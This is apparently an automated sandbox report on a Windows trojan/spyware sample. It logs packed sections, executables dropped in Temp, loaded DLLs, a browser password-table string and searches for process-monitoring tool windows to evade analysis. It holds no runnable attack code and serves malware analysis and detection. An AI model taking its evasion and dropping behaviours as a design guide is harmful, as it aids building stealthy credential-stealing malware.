Source: 0OkLsJL2Bn.exe, 00000001.00000003.1535099512.0000000005849000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0OkLsJL2Bn.exe
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1553713958.0000000005846000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0OkLsJL2Bn.exe
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1545452658.0000000005946000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0OkLsJL2Bn.exe
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1545973985.000000000584D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0OkLsJL2Bn.exe
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1537854920.0000000005850000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0OkLsJL2Bn.exe
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1545783379.0000000005A52000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0OkLsJL2Bn.exe
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1540941959.0000000005917000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0OkLsJL2Bn.exe
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1549873358.0000000005970000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0OkLsJL2Bn.exe
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1549197355.000000000584D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0OkLsJL2Bn.exe
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1547161635.0000000005957000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0OkLsJL2Bn.exe
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1554723838.0000000005AD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0OkLsJL2Bn.exe
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1553330308.0000000005850000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0OkLsJL2Bn.exe
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1544653202.000000000584D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0OkLsJL2Bn.exe
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1547321610.0000000005846000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0OkLsJL2Bn.exe
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1539383034.00000000059CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0OkLsJL2Bn.exe
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1551282554.0000000005988000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0OkLsJL2Bn.exe
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1537509313.00000000058EE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0OkLsJL2Bn.exe
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1541207880.0000000005848000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 0OkLsJL2Bn.exe

Source: 0OkLsJL2Bn.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0OkLsJL2Bn.exe	Static PE information: Section: ZLIB complexity 0.9973980629280822
Source: 0OkLsJL2Bn.exe	Static PE information: Section: wdzzxios ZLIB complexity 0.9947517328841388

Source: 2WLTZV8JUCLEOOJ1JDBUZTRB.exe.1.dr

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@5/3@1/3

Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe.log

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe

File created: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe

Jump to behavior

Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 0OkLsJL2Bn.exe, 00000001.00000003.1352095643.00000000053C6000.00000004.00000800.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1352259441.00000000053AB000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: 0OkLsJL2Bn.exe	ReversingLabs: Detection: 57%
Source: 0OkLsJL2Bn.exe	Virustotal: Detection: 53%

Source: YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application

Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe

File read: C:\Users\user\Desktop\0OkLsJL2Bn.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\0OkLsJL2Bn.exe "C:\Users\user\Desktop\0OkLsJL2Bn.exe"
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Process created: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe "C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe"
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Process created: C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe "C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe"
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Process created: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe "C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe"	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Process created: C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe "C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe"	Jump to behavior

Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: 0OkLsJL2Bn.exe

Static file information: File size 1817600 > 1048576

Source: 0OkLsJL2Bn.exe

Static PE information: Raw size of wdzzxios is bigger than: 0x100000 < 0x193800

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe, 00000004.00000002.1725062909.0000000000812000.00000040.00000001.01000000.00000006.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	Unpacked PE file: 4.2.YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe.810000.0.unpack :EW;.rsrc:W;.idata :W;tnrxecbv:EW;anayjrgy:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe	Unpacked PE file: 5.2.2WLTZV8JUCLEOOJ1JDBUZTRB.exe.5c0000.0.unpack :EW;.rsrc:W;.idata :W;wwqufnsk:EW;dutjqjqn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;wwqufnsk:EW;dutjqjqn:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: 2WLTZV8JUCLEOOJ1JDBUZTRB.exe.1.dr	Static PE information: real checksum: 0x2d28a0 should be: 0x2c6754
Source: 0OkLsJL2Bn.exe	Static PE information: real checksum: 0x1be6dd should be: 0x1c620c
Source: YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe.1.dr	Static PE information: real checksum: 0x2c49df should be: 0x2b6c61

Source: 0OkLsJL2Bn.exe	Static PE information: section name:
Source: 0OkLsJL2Bn.exe	Static PE information: section name: .idata
Source: 0OkLsJL2Bn.exe	Static PE information: section name:
Source: 0OkLsJL2Bn.exe	Static PE information: section name: wdzzxios
Source: 0OkLsJL2Bn.exe	Static PE information: section name: qhecqgxx
Source: 0OkLsJL2Bn.exe	Static PE information: section name: .taggant
Source: YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe.1.dr	Static PE information: section name:
Source: YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe.1.dr	Static PE information: section name: .idata
Source: YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe.1.dr	Static PE information: section name: tnrxecbv
Source: YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe.1.dr	Static PE information: section name: anayjrgy
Source: YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe.1.dr	Static PE information: section name: .taggant
Source: 2WLTZV8JUCLEOOJ1JDBUZTRB.exe.1.dr	Static PE information: section name:
Source: 2WLTZV8JUCLEOOJ1JDBUZTRB.exe.1.dr	Static PE information: section name: .idata
Source: 2WLTZV8JUCLEOOJ1JDBUZTRB.exe.1.dr	Static PE information: section name: wwqufnsk
Source: 2WLTZV8JUCLEOOJ1JDBUZTRB.exe.1.dr	Static PE information: section name: dutjqjqn
Source: 2WLTZV8JUCLEOOJ1JDBUZTRB.exe.1.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Code function: 1_3_00D7B2E7 push ds; retf	1_3_00D7B2E8
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Code function: 1_3_00D7B2E7 push ds; retf	1_3_00D7B2E8
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Code function: 1_3_00D7B2E7 push ds; retf	1_3_00D7B2E8
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Code function: 1_3_00D7B2E7 push ds; retf	1_3_00D7B2E8
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Code function: 1_3_00D8068B push ds; ret	1_3_00D806B2
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Code function: 1_3_00D8068B push ds; ret	1_3_00D806B2
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Code function: 1_3_00D8068B push ds; ret	1_3_00D806B2
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Code function: 1_3_00D8068B push ds; ret	1_3_00D806B2
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Code function: 1_3_00D73988 push eax; ret	1_3_00D7398D
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Code function: 1_3_00D73988 push eax; ret	1_3_00D7398D
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Code function: 1_3_00D73988 push eax; ret	1_3_00D7398D
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Code function: 1_3_00D73988 push eax; ret	1_3_00D7398D
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Code function: 1_3_00D7211F push cs; iretd	1_3_00D72120
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Code function: 1_3_00D7211F push cs; iretd	1_3_00D72120
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Code function: 1_3_00D7211F push cs; iretd	1_3_00D72120
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Code function: 1_3_00D7211F push cs; iretd	1_3_00D72120
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Code function: 1_3_00D74B38 pushfd ; iretd	1_3_00D74B3D
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Code function: 1_3_00D74B38 pushfd ; iretd	1_3_00D74B3D
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Code function: 1_3_00D74B38 pushfd ; iretd	1_3_00D74B3D
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Code function: 1_3_00D74B38 pushfd ; iretd	1_3_00D74B3D
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Code function: 1_3_00D7B2E7 push ds; retf	1_3_00D7B2E8
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Code function: 1_3_00D7B2E7 push ds; retf	1_3_00D7B2E8
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Code function: 1_3_00D7B2E7 push ds; retf	1_3_00D7B2E8
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Code function: 1_3_00D7B2E7 push ds; retf	1_3_00D7B2E8
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Code function: 1_3_00D8068B push ds; ret	1_3_00D806B2
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Code function: 1_3_00D8068B push ds; ret	1_3_00D806B2
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Code function: 1_3_00D8068B push ds; ret	1_3_00D806B2
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Code function: 1_3_00D8068B push ds; ret	1_3_00D806B2
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Code function: 1_3_00D73988 push eax; ret	1_3_00D7398D
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Code function: 1_3_00D73988 push eax; ret	1_3_00D7398D
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Code function: 1_3_00D73988 push eax; ret	1_3_00D7398D

Source: 0OkLsJL2Bn.exe	Static PE information: section name: entropy: 7.981592581298316
Source: 0OkLsJL2Bn.exe	Static PE information: section name: wdzzxios entropy: 7.954112209460299

Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File created: C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe			Jump to dropped file
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File created: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe			Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
